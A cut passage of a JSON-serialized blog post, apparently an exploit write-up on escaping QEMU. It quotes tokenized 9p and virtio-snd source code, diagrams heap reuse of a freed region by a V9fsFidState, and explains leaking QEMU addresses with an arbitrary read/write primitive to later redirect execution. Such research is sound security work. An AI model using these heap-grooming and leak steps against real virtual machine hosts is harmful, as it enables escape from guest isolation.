",{"type":23,"tag":504,"props":131932,"children":131933},{"style":5047},[131934],{"type":29,"value":546},{"type":23,"tag":504,"props":131936,"children":131937},{"style":5047},[131938],{"type":29,"value":53317},{"type":23,"tag":504,"props":131940,"children":131941},{"style":5058},[131942],{"type":29,"value":131943},"EINVAL;\n",{"type":23,"tag":504,"props":131945,"children":131946},{"class":5016,"line":5683},[131947,131951],{"type":23,"tag":504,"props":131948,"children":131949},{"style":5067},[131950],{"type":29,"value":62611},{"type":23,"tag":504,"props":131952,"children":131953},{"style":5058},[131954],{"type":29,"value":62616},{"type":23,"tag":504,"props":131956,"children":131957},{"class":5016,"line":5696},[131958],{"type":23,"tag":504,"props":131959,"children":131960},{"style":5058},[131961],{"type":29,"value":5394},{"type":23,"tag":504,"props":131963,"children":131964},{"class":5016,"line":5705},[131965,131970,131974,131979,131983,131988,131992,131996],{"type":23,"tag":504,"props":131966,"children":131967},{"style":5041},[131968],{"type":29,"value":131969},"        newfidp",{"type":23,"tag":504,"props":131971,"children":131972},{"style":5058},[131973],{"type":29,"value":15803},{"type":23,"tag":504,"props":131975,"children":131976},{"style":5041},[131977],{"type":29,"value":131978},"uid",{"type":23,"tag":504,"props":131980,"children":131981},{"style":5047},[131982],{"type":29,"value":5050},{"type":23,"tag":504,"props":131984,"children":131985},{"style":5041},[131986],{"type":29,"value":131987}," fidp",{"type":23,"tag":504,"props":131989,"children":131990},{"style":5058},[131991],{"type":29,"value":15803},{"type":23,"tag":504,"props":131993,"children":131994},{"style":5041},[131995],{"type":29,"value":131978},{"type":23,"tag":504,"props":131997,"children":131998},{"style":5058},[131999],{"type":29,"value":5061},{"type":23,"tag":504,"props":132001,"children":132002},{"class":5016,"line":5728},[132003,132008,132012,132016,132021,132025,132029,132033,132037],{"type":23,"tag":504,"props":132004,"children":132005},{"style":5139},[132006],{"type":29,"value":132007},"        v9fs_path_copy",{"type":23,"tag":504,"props":132009,"children":132010},{"style":5058},[132011],{"type":29,"value":603},{"type":23,"tag":504,"props":132013,"children":132014},{"style":5047},[132015],{"type":29,"value":5151},{"type":23,"tag":504,"props":132017,"children":132018},{"style":5041},[132019],{"type":29,"value":132020},"newfidp",{"type":23,"tag":504,"props":132022,"children":132023},{"style":5058},[132024],{"type":29,"value":15803},{"type":23,"tag":504,"props":132026,"children":132027},{"style":5041},[132028],{"type":29,"value":114103},{"type":23,"tag":504,"props":132030,"children":132031},{"style":5058},[132032],{"type":29,"value":4367},{"type":23,"tag":504,"props":132034,"children":132035},{"style":5047},[132036],{"type":29,"value":5151},{"type":23,"tag":504,"props":132038,"children":132039},{"style":5058},[132040],{"type":29,"value":132041},"path);\n",{"type":23,"tag":504,"props":132043,"children":132044},{"class":5016,"line":5737},[132045],{"type":23,"tag":504,"props":132046,"children":132047},{"style":5058},[132048],{"type":29,"value":5403},{"type":23,"tag":504,"props":132050,"children":132051},{"class":5016,"line":5746},[132052],{"type":23,"tag":504,"props":132053,"children":132054},{"emptyLinePlaceholder":15},[132055],{"type":29,"value":5734},{"type":23,"tag":504,"props":132057,"children":132058},{"class":5016,"line":5813},[132059],{"type":23,"tag":504,"props":132060,"children":132061},{"style":5058},[132062],{"type":29,"value":106580},{"type":23,"tag":504,"props":132064,"children":132065},{"class":5016,"line":5821},[132066],{"type":23,"tag":504,"props":132067,"children":132068},{"style":5058},[132069],{"type":29,"value":5965},{"type":23,"tag":504,"props":132071,"children":132072},{"class":5016,"line":5851},[132073],{"type":23,"tag":504,"props":132074,"children":132075},{"emptyLinePlaceholder":15},[132076],{"type":29,"value":5734},{"type":23,"tag":504,"props":132078,"children":132079},{"class":5016,"line":5859},[132080,132084,132089,132093,132097,132102,132106,132110,132114,132119,132124],{"type":23,"tag":504,"props":132081,"children":132082},{"style":5030},[132083],{"type":29,"value":53107},{"type":23,"tag":504,"props":132085,"children":132086},{"style":5058},[132087],{"type":29,"value":132088}," V9fsFidState ",{"type":23,"tag":504,"props":132090,"children":132091},{"style":5047},[132092],{"type":29,"value":6613},{"type":23,"tag":504,"props":132094,"children":132095},{"style":5139},[132096],{"type":29,"value":131706},{"type":23,"tag":504,"props":132098,"children":132099},{"style":5058},[132100],{"type":29,"value":132101},"(V9fsState ",{"type":23,"tag":504,"props":132103,"children":132104},{"style":5047},[132105],{"type":29,"value":6613},{"type":23,"tag":504,"props":132107,"children":132108},{"style":5041},[132109],{"type":29,"value":662},{"type":23,"tag":504,"props":132111,"children":132112},{"style":5058},[132113],{"type":29,"value":4367},{"type":23,"tag":504,"props":132115,"children":132116},{"style":5030},[132117],{"type":29,"value":132118},"int32_t",{"type":23,"tag":504,"props":132120,"children":132121},{"style":5041},[132122],{"type":29,"value":132123}," fid",{"type":23,"tag":504,"props":132125,"children":132126},{"style":5058},[132127],{"type":29,"value":5200},{"type":23,"tag":504,"props":132129,"children":132130},{"class":5016,"line":5891},[132131],{"type":23,"tag":504,"props":132132,"children":132133},{"style":5058},[132134],{"type":29,"value":12926},{"type":23,"tag":504,"props":132136,"children":132137},{"class":5016,"line":5899},[132138,132142,132146],{"type":23,"tag":504,"props":132139,"children":132140},{"style":5058},[132141],{"type":29,"value":129870},{"type":23,"tag":504,"props":132143,"children":132144},{"style":5047},[132145],{"type":29,"value":6613},{"type":23,"tag":504,"props":132147,"children":132148},{"style":5058},[132149],{"type":29,"value":53227},{"type":23,"tag":504,"props":132151,"children":132152},{"class":5016,"line":5959},[132153],{"type":23,"tag":504,"props":132154,"children":132155},{"emptyLinePlaceholder":15},[132156],{"type":29,"value":5734},{"type":23,"tag":504,"props":132158,"children":132159},{"class":5016,"line":11093},[132160,132165,132169,132174,132178,132182,132186,132191,132195,132200],{"type":23,"tag":504,"props":132161,"children":132162},{"style":5058},[132163],{"type":29,"value":132164},"    f ",{"type":23,"tag":504,"props":132166,"children":132167},{"style":5047},[132168],{"type":29,"value":546},{"type":23,"tag":504,"props":132170,"children":132171},{"style":5139},[132172],{"type":29,"value":132173}," g_hash_table_lookup",{"type":23,"tag":504,"props":132175,"children":132176},{"style":5058},[132177],{"type":29,"value":603},{"type":23,"tag":504,"props":132179,"children":132180},{"style":5041},[132181],{"type":29,"value":662},{"type":23,"tag":504,"props":132183,"children":132184},{"style":5058},[132185],{"type":29,"value":15803},{"type":23,"tag":504,"props":132187,"children":132188},{"style":5041},[132189],{"type":29,"value":132190},"fids",{"type":23,"tag":504,"props":132192,"children":132193},{"style":5058},[132194],{"type":29,"value":4367},{"type":23,"tag":504,"props":132196,"children":132197},{"style":5139},[132198],{"type":29,"value":132199},"GINT_TO_POINTER",{"type":23,"tag":504,"props":132201,"children":132202},{"style":5058},[132203],{"type":29,"value":132204},"(fid));\n",{"type":23,"tag":504,"props":132206,"children":132207},{"class":5016,"line":11111},[132208,132212],{"type":23,"tag":504,"props":132209,"children":132210},{"style":5067},[132211],{"type":29,"value":14325},{"type":23,"tag":504,"props":132213,"children":132214},{"style":5058},[132215],{"type":29,"value":132216}," (f) {\n",{"type":23,"tag":504,"props":132218,"children":132219},{"class":5016,"line":11156},[132220],{"type":23,"tag":504,"props":132221,"children":132222},{"style":5021},[132223],{"type":29,"value":132224},"        /* If fid is already there return NULL */\n",{"type":23,"tag":504,"props":132226,"children":132227},{"class":5016,"line":11262},[132228,132233,132237,132241,132245,132250],{"type":23,"tag":504,"props":132229,"children":132230},{"style":5139},[132231],{"type":29,"value":132232},"        BUG_ON",{"type":23,"tag":504,"props":132234,"children":132235},{"style":5058},[132236],{"type":29,"value":603},{"type":23,"tag":504,"props":132238,"children":132239},{"style":5041},[132240],{"type":29,"value":3025},{"type":23,"tag":504,"props":132242,"children":132243},{"style":5058},[132244],{"type":29,"value":15803},{"type":23,"tag":504,"props":132246,"children":132247},{"style":5041},[132248],{"type":29,"value":132249},"clunked",{"type":23,"tag":504,"props":132251,"children":132252},{"style":5058},[132253],{"type":29,"value":5888},{"type":23,"tag":504,"props":132255,"children":132256},{"class":5016,"line":25550},[132257,132261,132265],{"type":23,"tag":504,"props":132258,"children":132259},{"style":5067},[132260],{"type":29,"value":17791},{"type":23,"tag":504,"props":132262,"children":132263},{"style":5030},[132264],{"type":29,"value":129549},{"type":23,"tag":504,"props":132266,"children":132267},{"style":5058},[132268],{"type":29,"value":5061},{"type":23,"tag":504,"props":132270,"children":132271},{"class":5016,"line":25585},[132272],{"type":23,"tag":504,"props":132273,"children":132274},{"style":5058},[132275],{"type":29,"value":5403},{"type":23,"tag":504,"props":132277,"children":132278},{"class":5016,"line":25593},[132279,132283,132287,132292,132297,132301],{"type":23,"tag":504,"props":132280,"children":132281},{"style":5058},[132282],{"type":29,"value":132164},{"type":23,"tag":504,"props":132284,"children":132285},{"style":5047},[132286],{"type":29,"value":546},{"type":23,"tag":504,"props":132288,"children":132289},{"style":5139},[132290],{"type":29,"value":132291}," g_new0",{"type":23,"tag":504,"props":132293,"children":132294},{"style":5058},[132295],{"type":29,"value":132296},"(V9fsFidState, ",{"type":23,"tag":504,"props":132298,"children":132299},{"style":5083},[132300],{"type":29,"value":826},{"type":23,"tag":504,"props":132302,"children":132303},{"style":5058},[132304],{"type":29,"value":5888},{"type":23,"tag":504,"props":132306,"children":132307},{"class":5016,"line":25601},[132308],{"type":23,"tag":504,"props":132309,"children":132310},{"emptyLinePlaceholder":15},[132311],{"type":29,"value":5734},{"type":23,"tag":504,"props":132313,"children":132314},{"class":5016,"line":25610},[132315],{"type":23,"tag":504,"props":132316,"children":132317},{"style":5058},[132318],{"type":29,"value":106580},{"type":23,"tag":32,"props":132320,"children":132321},{},[132322,132324,132329],{"type":29,"value":132323},"After it is allocated, it will be placed into that freed region in place of the old ",{"type":23,"tag":154,"props":132325,"children":132327},{"className":132326},[],[132328],{"type":29,"value":131124},{"type":29,"value":130461},{"type":23,"tag":4743,"props":132331,"children":132333},{"code":132332},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+---------------+----+\n|                    |               |....|\n|      .value Y      |  V9fsFidState |....|\n|                    |               |....|\n+--------------------+---------------+----+\n",[132334],{"type":23,"tag":154,"props":132335,"children":132336},{"__ignoreMap":7},[132337],{"type":29,"value":132332},{"type":23,"tag":20944,"props":132339,"children":132341},{"id":132340},"leaking-a-qemu-address",[132342],{"type":29,"value":132343},"Leaking a QEMU Address",{"type":23,"tag":32,"props":132345,"children":132346},{},[132347],{"type":29,"value":132348},"We now have an arbitrary read/write primitive and a controlled chunk at a known address. The next step is to leak a QEMU code address so we can later redirect execution. To do this, we combine the arbitrary read primitive with the known-address chunk: we free that chunk, replace it with an object that contains pointers into QEMU's code or data, and then use arbitrary read to leak its fields.",{"type":23,"tag":32,"props":132350,"children":132351},{},[132352,132354,132359],{"type":29,"value":132353},"For this, we go back to virtio-snd and its buffer allocations. Recall ",{"type":23,"tag":154,"props":132355,"children":132357},{"className":132356},[],[132358],{"type":29,"value":125544},{"type":29,"value":6533},{"type":23,"tag":4743,"props":132361,"children":132363},{"code":132362,"language":3110,"meta":7,"className":18562,"style":7},"static void virtio_snd_handle_rx_xfer(VirtIODevice *vdev, VirtQueue *vq)\n{\n    VirtIOSound *vsnd = VIRTIO_SND(vdev);\n    VirtIOSoundPCMBuffer *buffer;\n    VirtQueueElement *elem;\n    size_t msg_sz, size;\n    uint32_t stream_id;\n\n    [...]\n\n    for (;;) {\n        VirtIOSoundPCMStream *stream;\n\n        elem = virtqueue_pop(vq, sizeof(VirtQueueElement));\n        if (!elem) {\n            break;\n        }\n        /* get the message hdr object */\n        msg_sz = iov_to_buf(elem->out_sg,\n                            elem->out_num,\n                            0,\n                            &hdr,\n                            sizeof(virtio_snd_pcm_xfer));\n        if (msg_sz != sizeof(virtio_snd_pcm_xfer)) {\n            goto rx_err;\n        }\n        stream_id = le32_to_cpu(hdr.stream_id);\n\n        [...]\n\n        WITH_QEMU_LOCK_GUARD(&stream->queue_mutex) {\n            size = iov_size(elem->in_sg, elem->in_num) -\n                sizeof(virtio_snd_pcm_status);\n            buffer = g_malloc0(sizeof(VirtIOSoundPCMBuffer) + size);    // [1]\n            buffer->elem = elem;\n            buffer->vq = vq;                                            // [2]\n            buffer->size = 0;\n            buffer->offset = 0;\n            QSIMPLEQ_INSERT_TAIL(&stream->queue, buffer, entry);\n        }\n",[132364],{"type":23,"tag":154,"props":132365,"children":132366},{"__ignoreMap":7},[132367,132410,132417,132448,132463,132478,132490,132503,132510,132517,132524,132535,132550,132557,132585,132604,132615,132622,132630,132667,132688,132700,132713,132726,132752,132764,132771,132809,132816,132823,132830,132861,132916,132928,132969,132992,133021,133048,133075,133107],{"type":23,"tag":504,"props":132368,"children":132369},{"class":5016,"line":5017},[132370,132374,132378,132382,132386,132390,132394,132398,132402,132406],{"type":23,"tag":504,"props":132371,"children":132372},{"style":5030},[132373],{"type":29,"value":53107},{"type":23,"tag":504,"props":132375,"children":132376},{"style":5030},[132377],{"type":29,"value":53112},{"type":23,"tag":504,"props":132379,"children":132380},{"style":5139},[132381],{"type":29,"value":125623},{"type":23,"tag":504,"props":132383,"children":132384},{"style":5058},[132385],{"type":29,"value":125628},{"type":23,"tag":504,"props":132387,"children":132388},{"style":5047},[132389],{"type":29,"value":6613},{"type":23,"tag":504,"props":132391,"children":132392},{"style":5041},[132393],{"type":29,"value":125637},{"type":23,"tag":504,"props":132395,"children":132396},{"style":5058},[132397],{"type":29,"value":125642},{"type":23,"tag":504,"props":132399,"children":132400},{"style":5047},[132401],{"type":29,"value":6613},{"type":23,"tag":504,"props":132403,"children":132404},{"style":5041},[132405],{"type":29,"value":125651},{"type":23,"tag":504,"props":132407,"children":132408},{"style":5058},[132409],{"type":29,"value":5200},{"type":23,"tag":504,"props":132411,"children":132412},{"class":5016,"line":4868},[132413],{"type":23,"tag":504,"props":132414,"children":132415},{"style":5058},[132416],{"type":29,"value":12926},{"type":23,"tag":504,"props":132418,"children":132419},{"class":5016,"line":4876},[132420,132425,132429,132434,132438,132443],{"type":23,"tag":504,"props":132421,"children":132422},{"style":5058},[132423],{"type":29,"value":132424},"    VirtIOSound ",{"type":23,"tag":504,"props":132426,"children":132427},{"style":5047},[132428],{"type":29,"value":6613},{"type":23,"tag":504,"props":132430,"children":132431},{"style":5058},[132432],{"type":29,"value":132433},"vsnd ",{"type":23,"tag":504,"props":132435,"children":132436},{"style":5047},[132437],{"type":29,"value":546},{"type":23,"tag":504,"props":132439,"children":132440},{"style":5139},[132441],{"type":29,"value":132442}," VIRTIO_SND",{"type":23,"tag":504,"props":132444,"children":132445},{"style":5058},[132446],{"type":29,"value":132447},"(vdev);\n",{"type":23,"tag":504,"props":132449,"children":132450},{"class":5016,"line":5099},[132451,132455,132459],{"type":23,"tag":504,"props":132452,"children":132453},{"style":5058},[132454],{"type":29,"value":126641},{"type":23,"tag":504,"props":132456,"children":132457},{"style":5047},[132458],{"type":29,"value":6613},{"type":23,"tag":504,"props":132460,"children":132461},{"style":5058},[132462],{"type":29,"value":126650},{"type":23,"tag":504,"props":132464,"children":132465},{"class":5016,"line":5203},[132466,132470,132474],{"type":23,"tag":504,"props":132467,"children":132468},{"style":5058},[132469],{"type":29,"value":125670},{"type":23,"tag":504,"props":132471,"children":132472},{"style":5047},[132473],{"type":29,"value":6613},{"type":23,"tag":504,"props":132475,"children":132476},{"style":5058},[132477],{"type":29,"value":125679},{"type":23,"tag":504,"props":132479,"children":132480},{"class":5016,"line":5308},[132481,132485],{"type":23,"tag":504,"props":132482,"children":132483},{"style":5030},[132484],{"type":29,"value":18612},{"type":23,"tag":504,"props":132486,"children":132487},{"style":5058},[132488],{"type":29,"value":132489}," msg_sz, size;\n",{"type":23,"tag":504,"props":132491,"children":132492},{"class":5016,"line":5336},[132493,132498],{"type":23,"tag":504,"props":132494,"children":132495},{"style":5030},[132496],{"type":29,"value":132497},"    uint32_t",{"type":23,"tag":504,"props":132499,"children":132500},{"style":5058},[132501],{"type":29,"value":132502}," stream_id;\n",{"type":23,"tag":504,"props":132504,"children":132505},{"class":5016,"line":5349},[132506],{"type":23,"tag":504,"props":132507,"children":132508},{"emptyLinePlaceholder":15},[132509],{"type":29,"value":5734},{"type":23,"tag":504,"props":132511,"children":132512},{"class":5016,"line":5367},[132513],{"type":23,"tag":504,"props":132514,"children":132515},{"style":5058},[132516],{"type":29,"value":106580},{"type":23,"tag":504,"props":132518,"children":132519},{"class":5016,"line":5388},[132520],{"type":23,"tag":504,"props":132521,"children":132522},{"emptyLinePlaceholder":15},[132523],{"type":29,"value":5734},{"type":23,"tag":504,"props":132525,"children":132526},{"class":5016,"line":5397},[132527,132531],{"type":23,"tag":504,"props":132528,"children":132529},{"style":5067},[132530],{"type":29,"value":5070},{"type":23,"tag":504,"props":132532,"children":132533},{"style":5058},[132534],{"type":29,"value":125705},{"type":23,"tag":504,"props":132536,"children":132537},{"class":5016,"line":5649},[132538,132542,132546],{"type":23,"tag":504,"props":132539,"children":132540},{"style":5058},[132541],{"type":29,"value":125713},{"type":23,"tag":504,"props":132543,"children":132544},{"style":5047},[132545],{"type":29,"value":6613},{"type":23,"tag":504,"props":132547,"children":132548},{"style":5058},[132549],{"type":29,"value":125722},{"type":23,"tag":504,"props":132551,"children":132552},{"class":5016,"line":5666},[132553],{"type":23,"tag":504,"props":132554,"children":132555},{"emptyLinePlaceholder":15},[132556],{"type":29,"value":5734},{"type":23,"tag":504,"props":132558,"children":132559},{"class":5016,"line":5683},[132560,132564,132568,132572,132576,132580],{"type":23,"tag":504,"props":132561,"children":132562},{"style":5058},[132563],{"type":29,"value":125737},{"type":23,"tag":504,"props":132565,"children":132566},{"style":5047},[132567],{"type":29,"value":546},{"type":23,"tag":504,"props":132569,"children":132570},{"style":5139},[132571],{"type":29,"value":125746},{"type":23,"tag":504,"props":132573,"children":132574},{"style":5058},[132575],{"type":29,"value":125751},{"type":23,"tag":504,"props":132577,"children":132578},{"style":5030},[132579],{"type":29,"value":57389},{"type":23,"tag":504,"props":132581,"children":132582},{"style":5058},[132583],{"type":29,"value":132584},"(VirtQueueElement));\n",{"type":23,"tag":504,"props":132586,"children":132587},{"class":5016,"line":5696},[132588,132592,132596,132600],{"type":23,"tag":504,"props":132589,"children":132590},{"style":5067},[132591],{"type":29,"value":5314},{"type":23,"tag":504,"props":132593,"children":132594},{"style":5058},[132595],{"type":29,"value":5110},{"type":23,"tag":504,"props":132597,"children":132598},{"style":5047},[132599],{"type":29,"value":22674},{"type":23,"tag":504,"props":132601,"children":132602},{"style":5058},[132603],{"type":29,"value":125785},{"type":23,"tag":504,"props":132605,"children":132606},{"class":5016,"line":5705},[132607,132611],{"type":23,"tag":504,"props":132608,"children":132609},{"style":5067},[132610],{"type":29,"value":5342},{"type":23,"tag":504,"props":132612,"children":132613},{"style":5058},[132614],{"type":29,"value":5061},{"type":23,"tag":504,"props":132616,"children":132617},{"class":5016,"line":5728},[132618],{"type":23,"tag":504,"props":132619,"children":132620},{"style":5058},[132621],{"type":29,"value":5394},{"type":23,"tag":504,"props":132623,"children":132624},{"class":5016,"line":5737},[132625],{"type":23,"tag":504,"props":132626,"children":132627},{"style":5021},[132628],{"type":29,"value":132629},"        /* get the message hdr object */\n",{"type":23,"tag":504,"props":132631,"children":132632},{"class":5016,"line":5746},[132633,132638,132642,132647,132651,132655,132659,132663],{"type":23,"tag":504,"props":132634,"children":132635},{"style":5058},[132636],{"type":29,"value":132637},"        msg_sz ",{"type":23,"tag":504,"props":132639,"children":132640},{"style":5047},[132641],{"type":29,"value":546},{"type":23,"tag":504,"props":132643,"children":132644},{"style":5139},[132645],{"type":29,"value":132646}," iov_to_buf",{"type":23,"tag":504,"props":132648,"children":132649},{"style":5058},[132650],{"type":29,"value":603},{"type":23,"tag":504,"props":132652,"children":132653},{"style":5041},[132654],{"type":29,"value":54125},{"type":23,"tag":504,"props":132656,"children":132657},{"style":5058},[132658],{"type":29,"value":15803},{"type":23,"tag":504,"props":132660,"children":132661},{"style":5041},[132662],{"type":29,"value":126189},{"type":23,"tag":504,"props":132664,"children":132665},{"style":5058},[132666],{"type":29,"value":5557},{"type":23,"tag":504,"props":132668,"children":132669},{"class":5016,"line":5813},[132670,132675,132679,132684],{"type":23,"tag":504,"props":132671,"children":132672},{"style":5041},[132673],{"type":29,"value":132674},"                            elem",{"type":23,"tag":504,"props":132676,"children":132677},{"style":5058},[132678],{"type":29,"value":15803},{"type":23,"tag":504,"props":132680,"children":132681},{"style":5041},[132682],{"type":29,"value":132683},"out_num",{"type":23,"tag":504,"props":132685,"children":132686},{"style":5058},[132687],{"type":29,"value":5557},{"type":23,"tag":504,"props":132689,"children":132690},{"class":5016,"line":5821},[132691,132696],{"type":23,"tag":504,"props":132692,"children":132693},{"style":5083},[132694],{"type":29,"value":132695},"                            0",{"type":23,"tag":504,"props":132697,"children":132698},{"style":5058},[132699],{"type":29,"value":5557},{"type":23,"tag":504,"props":132701,"children":132702},{"class":5016,"line":5851},[132703,132708],{"type":23,"tag":504,"props":132704,"children":132705},{"style":5047},[132706],{"type":29,"value":132707},"                            &",{"type":23,"tag":504,"props":132709,"children":132710},{"style":5058},[132711],{"type":29,"value":132712},"hdr,\n",{"type":23,"tag":504,"props":132714,"children":132715},{"class":5016,"line":5859},[132716,132721],{"type":23,"tag":504,"props":132717,"children":132718},{"style":5030},[132719],{"type":29,"value":132720},"                            sizeof",{"type":23,"tag":504,"props":132722,"children":132723},{"style":5058},[132724],{"type":29,"value":132725},"(virtio_snd_pcm_xfer));\n",{"type":23,"tag":504,"props":132727,"children":132728},{"class":5016,"line":5891},[132729,132733,132738,132742,132747],{"type":23,"tag":504,"props":132730,"children":132731},{"style":5067},[132732],{"type":29,"value":5314},{"type":23,"tag":504,"props":132734,"children":132735},{"style":5058},[132736],{"type":29,"value":132737}," (msg_sz ",{"type":23,"tag":504,"props":132739,"children":132740},{"style":5047},[132741],{"type":29,"value":17735},{"type":23,"tag":504,"props":132743,"children":132744},{"style":5030},[132745],{"type":29,"value":132746}," sizeof",{"type":23,"tag":504,"props":132748,"children":132749},{"style":5058},[132750],{"type":29,"value":132751},"(virtio_snd_pcm_xfer)) {\n",{"type":23,"tag":504,"props":132753,"children":132754},{"class":5016,"line":5899},[132755,132759],{"type":23,"tag":504,"props":132756,"children":132757},{"style":5067},[132758],{"type":29,"value":62611},{"type":23,"tag":504,"props":132760,"children":132761},{"style":5058},[132762],{"type":29,"value":132763}," rx_err;\n",{"type":23,"tag":504,"props":132765,"children":132766},{"class":5016,"line":5959},[132767],{"type":23,"tag":504,"props":132768,"children":132769},{"style":5058},[132770],{"type":29,"value":5394},{"type":23,"tag":504,"props":132772,"children":132773},{"class":5016,"line":11093},[132774,132779,132783,132787,132791,132796,132800,132805],{"type":23,"tag":504,"props":132775,"children":132776},{"style":5058},[132777],{"type":29,"value":132778},"        stream_id ",{"type":23,"tag":504,"props":132780,"children":132781},{"style":5047},[132782],{"type":29,"value":546},{"type":23,"tag":504,"props":132784,"children":132785},{"style":5139},[132786],{"type":29,"value":127651},{"type":23,"tag":504,"props":132788,"children":132789},{"style":5058},[132790],{"type":29,"value":603},{"type":23,"tag":504,"props":132792,"children":132793},{"style":5041},[132794],{"type":29,"value":132795},"hdr",{"type":23,"tag":504,"props":132797,"children":132798},{"style":5058},[132799],{"type":29,"value":357},{"type":23,"tag":504,"props":132801,"children":132802},{"style":5041},[132803],{"type":29,"value":132804},"stream_id",{"type":23,"tag":504,"props":132806,"children":132807},{"style":5058},[132808],{"type":29,"value":5888},{"type":23,"tag":504,"props":132810,"children":132811},{"class":5016,"line":11111},[132812],{"type":23,"tag":504,"props":132813,"children":132814},{"emptyLinePlaceholder":15},[132815],{"type":29,"value":5734},{"type":23,"tag":504,"props":132817,"children":132818},{"class":5016,"line":11156},[132819],{"type":23,"tag":504,"props":132820,"children":132821},{"style":5058},[132822],{"type":29,"value":125818},{"type":23,"tag":504,"props":132824,"children":132825},{"class":5016,"line":11262},[132826],{"type":23,"tag":504,"props":132827,"children":132828},{"emptyLinePlaceholder":15},[132829],{"type":29,"value":5734},{"type":23,"tag":504,"props":132831,"children":132832},{"class":5016,"line":25550},[132833,132837,132841,132845,132849,132853,132857],{"type":23,"tag":504,"props":132834,"children":132835},{"style":5139},[132836],{"type":29,"value":125833},{"type":23,"tag":504,"props":132838,"children":132839},{"style":5058},[132840],{"type":29,"value":603},{"type":23,"tag":504,"props":132842,"children":132843},{"style":5047},[132844],{"type":29,"value":5151},{"type":23,"tag":504,"props":132846,"children":132847},{"style":5041},[132848],{"type":29,"value":38318},{"type":23,"tag":504,"props":132850,"children":132851},{"style":5058},[132852],{"type":29,"value":15803},{"type":23,"tag":504,"props":132854,"children":132855},{"style":5041},[132856],{"type":29,"value":125854},{"type":23,"tag":504,"props":132858,"children":132859},{"style":5058},[132860],{"type":29,"value":16850},{"type":23,"tag":504,"props":132862,"children":132863},{"class":5016,"line":25585},[132864,132868,132872,132876,132880,132884,132888,132892,132896,132900,132904,132908,132912],{"type":23,"tag":504,"props":132865,"children":132866},{"style":5058},[132867],{"type":29,"value":125866},{"type":23,"tag":504,"props":132869,"children":132870},{"style":5047},[132871],{"type":29,"value":546},{"type":23,"tag":504,"props":132873,"children":132874},{"style":5139},[132875],{"type":29,"value":125875},{"type":23,"tag":504,"props":132877,"children":132878},{"style":5058},[132879],{"type":29,"value":603},{"type":23,"tag":504,"props":132881,"children":132882},{"style":5041},[132883],{"type":29,"value":54125},{"type":23,"tag":504,"props":132885,"children":132886},{"style":5058},[132887],{"type":29,"value":15803},{"type":23,"tag":504,"props":132889,"children":132890},{"style":5041},[132891],{"type":29,"value":125892},{"type":23,"tag":504,"props":132893,"children":132894},{"style":5058},[132895],{"type":29,"value":4367},{"type":23,"tag":504,"props":132897,"children":132898},{"style":5041},[132899],{"type":29,"value":54125},{"type":23,"tag":504,"props":132901,"children":132902},{"style":5058},[132903],{"type":29,"value":15803},{"type":23,"tag":504,"props":132905,"children":132906},{"style":5041},[132907],{"type":29,"value":125909},{"type":23,"tag":504,"props":132909,"children":132910},{"style":5058},[132911],{"type":29,"value":5128},{"type":23,"tag":504,"props":132913,"children":132914},{"style":5047},[132915],{"type":29,"value":52924},{"type":23,"tag":504,"props":132917,"children":132918},{"class":5016,"line":25593},[132919,132923],{"type":23,"tag":504,"props":132920,"children":132921},{"style":5030},[132922],{"type":29,"value":125925},{"type":23,"tag":504,"props":132924,"children":132925},{"style":5058},[132926],{"type":29,"value":132927},"(virtio_snd_pcm_status);\n",{"type":23,"tag":504,"props":132929,"children":132930},{"class":5016,"line":25601},[132931,132935,132939,132943,132947,132951,132955,132959,132964],{"type":23,"tag":504,"props":132932,"children":132933},{"style":5058},[132934],{"type":29,"value":125943},{"type":23,"tag":504,"props":132936,"children":132937},{"style":5047},[132938],{"type":29,"value":546},{"type":23,"tag":504,"props":132940,"children":132941},{"style":5139},[132942],{"type":29,"value":125952},{"type":23,"tag":504,"props":132944,"children":132945},{"style":5058},[132946],{"type":29,"value":603},{"type":23,"tag":504,"props":132948,"children":132949},{"style":5030},[132950],{"type":29,"value":57389},{"type":23,"tag":504,"props":132952,"children":132953},{"style":5058},[132954],{"type":29,"value":125965},{"type":23,"tag":504,"props":132956,"children":132957},{"style":5047},[132958],{"type":29,"value":6422},{"type":23,"tag":504,"props":132960,"children":132961},{"style":5058},[132962],{"type":29,"value":132963}," size);",{"type":23,"tag":504,"props":132965,"children":132966},{"style":5021},[132967],{"type":29,"value":132968},"    // [1]\n",{"type":23,"tag":504,"props":132970,"children":132971},{"class":5016,"line":25610},[132972,132976,132980,132984,132988],{"type":23,"tag":504,"props":132973,"children":132974},{"style":5041},[132975],{"type":29,"value":125982},{"type":23,"tag":504,"props":132977,"children":132978},{"style":5058},[132979],{"type":29,"value":15803},{"type":23,"tag":504,"props":132981,"children":132982},{"style":5041},[132983],{"type":29,"value":54125},{"type":23,"tag":504,"props":132985,"children":132986},{"style":5047},[132987],{"type":29,"value":5050},{"type":23,"tag":504,"props":132989,"children":132990},{"style":5058},[132991],{"type":29,"value":125999},{"type":23,"tag":504,"props":132993,"children":132994},{"class":5016,"line":25652},[132995,132999,133003,133007,133011,133016],{"type":23,"tag":504,"props":132996,"children":132997},{"style":5041},[132998],{"type":29,"value":125982},{"type":23,"tag":504,"props":133000,"children":133001},{"style":5058},[133002],{"type":29,"value":15803},{"type":23,"tag":504,"props":133004,"children":133005},{"style":5041},[133006],{"type":29,"value":125651},{"type":23,"tag":504,"props":133008,"children":133009},{"style":5047},[133010],{"type":29,"value":5050},{"type":23,"tag":504,"props":133012,"children":133013},{"style":5058},[133014],{"type":29,"value":133015}," vq;",{"type":23,"tag":504,"props":133017,"children":133018},{"style":5021},[133019],{"type":29,"value":133020},"                                            // [2]\n",{"type":23,"tag":504,"props":133022,"children":133023},{"class":5016,"line":25685},[133024,133028,133032,133036,133040,133044],{"type":23,"tag":504,"props":133025,"children":133026},{"style":5041},[133027],{"type":29,"value":125982},{"type":23,"tag":504,"props":133029,"children":133030},{"style":5058},[133031],{"type":29,"value":15803},{"type":23,"tag":504,"props":133033,"children":133034},{"style":5041},[133035],{"type":29,"value":126039},{"type":23,"tag":504,"props":133037,"children":133038},{"style":5047},[133039],{"type":29,"value":5050},{"type":23,"tag":504,"props":133041,"children":133042},{"style":5083},[133043],{"type":29,"value":5086},{"type":23,"tag":504,"props":133045,"children":133046},{"style":5058},[133047],{"type":29,"value":5061},{"type":23,"tag":504,"props":133049,"children":133050},{"class":5016,"line":25693},[133051,133055,133059,133063,133067,133071],{"type":23,"tag":504,"props":133052,"children":133053},{"style":5041},[133054],{"type":29,"value":125982},{"type":23,"tag":504,"props":133056,"children":133057},{"style":5058},[133058],{"type":29,"value":15803},{"type":23,"tag":504,"props":133060,"children":133061},{"style":5041